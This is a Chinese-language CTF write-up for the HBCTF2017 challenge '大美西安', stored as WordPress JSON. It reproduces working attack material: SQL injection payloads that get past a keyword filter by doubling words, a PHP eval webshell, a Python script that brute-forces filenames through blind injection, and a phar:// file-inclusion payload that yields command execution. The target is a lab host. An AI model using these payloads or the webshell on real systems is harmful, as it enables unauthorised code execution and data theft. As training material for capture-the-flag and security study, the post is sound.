{"id":930,"date":"2023-01-28T11:40:32","date_gmt":"2023-01-28T03:40:32","guid":{"rendered":"https:\/\/fushuling.com\/?p=930"},"modified":"2023-07-31T14:44:48","modified_gmt":"2023-07-31T06:44:48","slug":"hbctf2017%e5%a4%a7%e7%be%8e%e8%a5%bf%e5%ae%89","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/01\/28\/hbctf2017%e5%a4%a7%e7%be%8e%e8%a5%bf%e5%ae%89\/","title":{"rendered":"[HBCTF2017]\u5927\u7f8e\u897f\u5b89"},"content":{"rendered":"\n

\u770b\u8fd9\u4e2aurl\u654f\u9510\u70b9\u7684\u4eba\u7acb\u523b\u5c31\u610f\u8bc6\u5230\u53ef\u4ee5\u6539\u6210register\uff0c\u6216\u8bb8\u5c31\u80fd\u6ce8\u518c\u4e86\uff0c\u4e8b\u5b9e\u4e5f\u786e\u5b9e\u662f\u5982\u6b64<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6ce8\u518c\u4e2a123\uff0c123\u7136\u540e\u767b\u5f55<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7136\u540e\u53ef\u4ee5\u53d1\u73b0\u8fd9\u91cc\u6709\u4e2a\u4e0a\u4f20\u548c\u4e0b\u8f7d\u529f\u80fd\uff0c\u4f46\u53ea\u80fd\u4e0a\u4f20\u56fe\u7247\u6587\u4ef6\uff0c\u9009\u62e9\u67e5\u770b\u7684\u65f6\u5019\u53ef\u4ee5\u53d1\u73b0\u8fd9\u91cc\u7684url\u5f62\u5f0f\u662f?id=\u5565\u5565\u5565\uff0c\u8fd8\u662f\u4e00\u53e5\u8bdd\uff0c\u654f\u9510\u70b9\u7684\u4eba\u80af\u5b9a\u4f1a\u5f00\u59cb\u6d4b\u8bd5sql\u4e86<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7136\u540e\u5728\u6d4b\u8bd5\u8fd9\u4e2a\u6536\u85cf\u7684\u65f6\u5019\u53d1\u73b0\u662f\u4e2a\u4e0b\u8f7d\u6587\u4ef6\u7684\u529f\u80fd\uff0c\u5e76\u4e14\u6d4b\u8bd5\u8fd9\u4e2a\u529f\u80fd\u7684\u65f6\u5019\u80fd\u53d1\u73b0\u8fd9\u91cc\u6709\u4e2a\u6ce8\u5165\u53ef\u4ee5\u53cc\u5199\u7ed5\u8fc7\u6ee4\u67e5\u6587\u4ef6\uff0c\u4f46\u8fd9\u91cc\u7684\u6587\u4ef6\u540d\u53ea\u6709\u7528\u5341\u516d\u8fdb\u5236<\/a>\u8f6c\u5316\u4e00\u4e0b\u624d\u80fd\u6b63\u5e38\u67e5\uff0c\u5426\u5219\u663e\u793a\u65e0\u6b64\u6587\u4ef6<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u611f\u89c9\u8fd9\u4e00\u6b65\u6bd4\u8f83\u770b\u7ecf\u9a8c\u4e86\uff0cpayload\u5c31\u662f\uff1a<\/p>\n\n\n\n

image=-1 ununionion seselectlect 16\u8fdb\u5236\u6587\u4ef6\u540d&image_download=%E6%94%B6%E8%97%8F<\/code><\/pre>\n\n\n\n
\u56e0\u6b64\u8fd9\u91cc\u5176\u5b9e\u53ea\u8981\u77e5\u9053flag\u7684\u540d\u5b57\u5176\u5b9e\u80fd\u76f4\u63a5\u67e5\u4e86\uff0c\u8bd5\u4e86\u4e0b\uff0cbuuoj\u4e0aflag\u540d\u53ebF1AglsH3r3G00d.php\uff0cctfshow\u4e0a\u53ebflagishere.php<\/p>\n\n\n\n
image=-1 uniunionon seselectlect 0x46314167497348337233473030642e706870&image_download=%E6%94%B6%E8%97%8F<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
image=-1 uniunionon seselectlect 0x666c61676973686572652e706870&image_download=%E6%94%B6%E8%97%8F<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f46\u8fd9\u6837\u5c31\u6ca1\u5565\u610f\u601d\u4e86\uff0c\u597d\u5b69\u5b50\u522b\u8bd5\uff01\u8fd8\u662f\u8001\u8001\u5b9e\u5b9e\u770b\u4ee3\u7801\u627e\u7a81\u7834\u53e3\u5427\ud83d\ude02<\/p>\n\n\n\n
\u4f9d\u6b21\u67e5\u770b\u7f51\u7ad9\u7684php\u4ee3\u7801\uff0c\u6709\u51e0\u4e2a\u5173\u952e\u7684\u5730\u65b9\uff1a<\/p>\n\n\n\n
function d_addslashes($array){\n\n    foreach($array as $key=>$value){\n        if(!is_array($value)){\n              !get_magic_quotes_gpc()&&$value=addslashes($value);\n              $array[$key]=$value;\n        }else{\n          $array[$key] = d_addslashes($array[$key]);\n        }\n    }\n    return $array;\n}\n\n\nfunction filter($id){\n    $id = strtolower($id);\n\t$id = str_replace('select', '', $id);\n\t$id = str_replace('update', '', $id);\n\t$id = str_replace('insert', '', $id);\n\t$id = str_replace('delete', '', $id);\n\t$id = str_replace('and', '', $id);\n\t$id = str_replace('or', '', $id);\n\t$id = str_replace('where', '', $id);\n\t$id = str_replace('union', '', $id);\n    $id = str_replace('like', '', $id);\n    $id = str_replace('regexp', '', $id);\n    $id = str_replace('is', '', $id);\n\t$id = str_replace('=', '', $id);\n\t$id = str_replace(',', '', $id);\n\t$id = str_replace('|', '', $id);\n\t$id = str_replace('&', '', $id);\n\t$id = str_replace('!', '', $id);\n    $id = str_replace('%', '', $id);\n\t$id = str_replace('^', '', $id);\n\t$id = str_replace('<', '', $id);\n\t$id = str_replace('>', '', $id);\n\t$id = str_replace('*', '', $id);\n\t$id = str_replace('(', '', $id);\n\t$id = str_replace(')', '', $id);\n    return $id ;\n}\n\nfunction random_str($length = \"32\")\n{\n    $set = array(\"a\", \"b\", \"c\",  \"d\", \"e\", \"f\", \n        \"g\", \"h\", \"i\", \"j\", \"k\", \"l\",\n        \"m\",\"n\", \"o\", \"p\", \"q\", \"r\",\"s\",\"t\",\"u\",\"v\", \"w\",\"x\",\n        \"y\",\"z\",\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\");\n    $str = '';\n    for ($i = 1; $i <= $length; ++$i) {\n        $ch = mt_rand(0, count($set) - 1);\n        $str .= $set[$ch];\n    }\n    return $str;\n}\n<\/code><\/pre>\n\n\n\n
include(\"config.php\");\n$_POST = d_addslashes($_POST);\n$_GET = d_addslashes($_GET);\n$file  = isset($_GET['file'])?$_GET['file']:\"home\";\n\/\/ echo $file;\n\nif(preg_match('\/\\.\\.|^[\\s]*\\\/|^[\\s]*php:|filter\/i',$file)){\n\t   echo \"<div class=\\\"msg error\\\" id=\\\"message\\\">\n\t\t<i class=\\\"fa fa-exclamation-triangle\\\"><\/i>Attack Detected!<\/div>\";\n\t\tdie();\n}\n$filename = $file.\".php\";\nif(!include($filename)){\n\tif(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){\n\t  header(\"Location: index.php?file=login\");\n\t  die();\n    }<\/code><\/pre>\n\n\n\n
\u7b80\u5355\u70b9\u6982\u62ec\uff0c\u8fc7\u6ee4\u786e\u5b9e\u5bfc\u81f4php:\/\/filter\u4e0d\u53ef\u7528\uff0c\u4f46\u6ca1\u6709\u7981\u6b62phar\u534f\u8bae\uff0c\u56e0\u6b64\u53ef\u4ee5\u4e0a\u4f20\u4e00\u4e2azip\u6587\u4ef6\uff0c\u6587\u4ef6\u4e2d\u5b58\u5728\u4e00\u4e2ashell\u6587\u4ef6\uff0c\u7136\u540e\u4f7ffile=phar:\/\/path\/xx\/jpg\/xx\uff0c\u56e0\u4e3a.php\u540e\u7f00\u4f1a\u88ab\u81ea\u52a8\u6dfb\u52a0\uff0c\u6240\u4ee5xxx\u540e\u9762\u65e0\u987b\u5199\u5176\u4ed6\u4e1c\u897f\uff0c\u5c31\u662f\u6211\u4eec\u4e0a\u4f20\u4e0a\u53bb\u7684\u56fe\u7247\u88ab\u91cd\u540d\u4e86\uff0c\u6240\u4ee5\u5f97\u7206\u7834\u3002\u8fd9\u6bb5\u8bdd\u6765\u81ea\u5927\u4f6c\u7684wp<\/a>\uff0c\u4ed6\u6982\u62ec\u7684\u633a\u597d\u7684\uff0c\u6211\u5c31\u4e0d\u753b\u86c7\u6dfb\u8db3\u4e86\u3002<\/p>\n\n\n\n
\u6240\u4ee5\u6211\u4eec\u89e3\u9898\u7684\u6b65\u9aa4\u5c31\u662f\u5148\u5199\u4e2a\u9a6c\uff0c\u6bd4\u5982\u4e00\u4e2ashell.php:<\/p>\n\n\n\n
<?php @eval($_POST[value]);?><\/code><\/pre>\n\n\n\n
\u7136\u540e\u628a\u5b83\u538b\u7f29\u6210shell.zip\uff0c\u7136\u540e\u6539\u540e\u7f00\u6539\u6210shell.png\u628a\u5b83\u4f20\u4e0a\u53bb\uff0c\u8fd9\u662f\u7206\u7834\u6587\u4ef6\u540d\u7684\u811a\u672c\uff1a<\/p>\n\n\n\n
import requests\ndef getFilename():\n    data=\"image=3%20ununionion%20selselectect%200x{filename}%20oorrder%20by%201&image_download=%E6%94%B6%E8%97%8F\"\n    url = \"http:\/\/d902724d-6777-4419-b05f-a60c24d92924.node4.buuoj.cn:81\/downfile.php\"\n    headers = {\n\"Content-Type\":\"application\/x-www-form-urlencoded\",\n\"Cookie\":\"PHPSESSID=ho7tchg66j9s8bhqjkmh70alv1\",\n\"User-Agent\":\"Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko)Chrome\/49.0.2623.221 Safari\/537.36 SE 2.X MetaSr 1.0\"\n}\n    randStr=\"0123456789abcdefghijklmnopqrstuvwxyz{\"\n    fileName = \".\/Up10aDs\/\"\n    for _ in range(33):\n        print(\"[*]\",fileName)\n        for i in range(len(randStr)):\n            tmpFileName = fileName+randStr[i]\n            res =requests.post(url,data=data.format(filename=tmpFileName.encode(\"utf-8\").hex() ),headers=headers)\n            if \"file may be deleted\" not in res.text:\n                fileName = fileName + randStr[i-1]\n                break\n\ngetFilename()<\/code><\/pre>\n\n\n\n
\u7b80\u5355\u89e3\u91ca\u4e00\u4e0b\u8fd9\u811a\u672c\u548b\u7528\u7684\uff0c\u6bd4\u5982\u6211\u8fd9\u91ccshell.png\u7684id\u662f3\uff0c\u56e0\u6b64\u6211\u90a3\u4e2a\u811a\u672c\u91cc\u7684\u8bed\u53e5\u662f\uff1a<\/p>\n\n\n\n
data=\"image=3%20ununionion%20selselectect%200x{filename}%20oorrder%20by%201&image_download=%E6%94%B6%E8%97%8F\"<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6240\u4ee5\u4f60\u4eec\u7528\u7684\u8bdd\u56fe\u7247id\u4e0d\u540c\u6216\u8005\u540d\u5b57\u4e0d\u540c\u8981\u9002\u5f53\u6539\u6539\uff0c\u7136\u540e\u6211\u8fd9\u91cc\u8dd1\u51fa\u6765\u6587\u4ef6\u540d\u662f\/Up10aDs\/bydjke4pz54tpfy714yvjrrmlqxr8jwj<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6240\u4ee5phar\u5305\u542b\u4e00\u4e0b\uff0cpayload\u5c31\u662f<\/p>\n\n\n\n
url\/index.php?file=phar:\/\/Up10aDs\/bydjke4pz54tpfy714yvjrrmlqxr8jwj.png\/shell<\/code><\/pre>\n\n\n\n
\u7136\u540e\u7528echo `ls`<\/code>\u8fd9\u79cd\u5f62\u5f0f\u8bfb\u53d6\u4e00\u4e0b\u6267\u884c\u547d\u4ee4\u7684\u56de\u663e\u5373\u53ef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6253\u901a\u5b8c\u518d\u6765\u89e3\u91ca\u4e00\u4e0b\u90a3\u4e2asql\u662f\u600e\u4e48\u6ce8\u5165\u7684(\u5982\u679c\u662f\u6211\u770b\u535a\u5ba2\u7684\u8bdd\u53d1\u73b0\u4eba\u5bb6\u7684\u505a\u6cd5\u6839\u672c\u590d\u73b0\u4e0d\u4e86\u7684\u8bdd\u6211\u662f\u5b8c\u5168\u4e0d\u4f1a\u60f3\u770b\u4ed6\u7684\u5185\u5bb9\u7684\ud83d\ude02)\uff0c\u6211\u7684\u5b9e\u9645\u6ce8\u5165\u8bed\u53e5\u5176\u5b9e\u662f\uff1a<\/p>\n\n\n\n
select location from image where id=3 union select 0x{filename} order by 1<\/code><\/pre>\n\n\n\n
\u8fd0\u7528\u7684\u539f\u7406\u6765\u81ea\u4e8e\uff1a\u57fa\u4e8eunion\u67e5\u8be2\u7684\u76f2\u6ce8(\u611f\u8c22pcat\u725b\u4e0d\u541d\u8d50\u6559)<\/a>\uff0c\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u901a\u8fc7\u5224\u65ad\u524d\u540e\u4e24\u4e2aselect\u8bed\u53e5\u8fd4\u56de\u7684\u6570\u636e\u524d\u540e\u987a\u5e8f\u6765\u8fdb\u884c\u76f2\u6ce8\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u770b\u8fd9\u4e2aurl\u654f\u9510\u70b9\u7684\u4eba\u7acb\u523b\u5c31\u610f\u8bc6\u5230\u53ef\u4ee5\u6539\u6210register\uff0c\u6216\u8bb8\u5c31\u80fd\u6ce8\u518c\u4e86\uff0c\u4e8b\u5b9e\u4e5f\u786e\u5b9e\u662f\u5982\u6b64 \u6ce8\u518c\u4e2a123\uff0c1 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-930","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/930","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=930"}],"version-history":[{"count":4,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/930\/revisions"}],"predecessor-version":[{"id":945,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/930\/revisions\/945"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=930"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=930"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=930"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}